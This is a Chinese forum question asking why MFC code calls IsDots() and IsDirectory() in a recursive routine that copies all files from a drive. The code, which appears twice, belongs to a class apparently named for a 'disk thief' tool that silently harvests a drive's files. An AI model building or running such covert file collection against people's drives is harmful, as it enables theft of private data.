这段代码是用来拷贝文件的,dir这个参数是一个盘符名称我的疑问是为什么调用IsDosts()函数,msdn上说这个函数是判断文件名是否含有"."或者"..",如果有则说明此文件是一个目录,那么如果类似a.exe,b.doc这类文件是不是被当做目录了?还有,即使是正好不是a.exe,b.doc这类文件,而是目录,那么为什么下面还要调用IsDirectory()来判断文件是不是目录了?
请指教,谢谢。我看了很多代码,都是这么写的,有点不明白原因void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s\\*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();
if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s\\%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s\\%s",dir,foundFileName);
tempFileName2.Format("%s\\%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}
请指教,谢谢。我看了很多代码,都是这么写的,有点不明白原因void CFDiskThiefDlg::CopyFile(CString dir)
{
CFileFind tempFind;
CString tempFileFind;
tempFileFind.Format("%s\\*.*",dir);
BOOL IsFinded=(BOOL)tempFind.FindFile(tempFileFind);
while(IsFinded)
{
IsFinded=(BOOL)tempFind.FindNextFile();
if(!tempFind.IsDots())
{
CString foundFileName;
foundFileName=tempFind.GetFileName();
if(tempFind.IsDirectory())
{
CString tempDir;
tempDir.Format("%s\\%s",dir,foundFileName);
CopyFile(tempDir);
}
else
{
CString tempFileName1,tempFileName2;
tempFileName1.Format("%s\\%s",dir,foundFileName);
tempFileName2.Format("%s\\%s",m_Path,foundFileName);
::CopyFile(tempFileName1,tempFileName2,FALSE);
}
}
}
tempFind.Close();
}
解决方案 »
免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货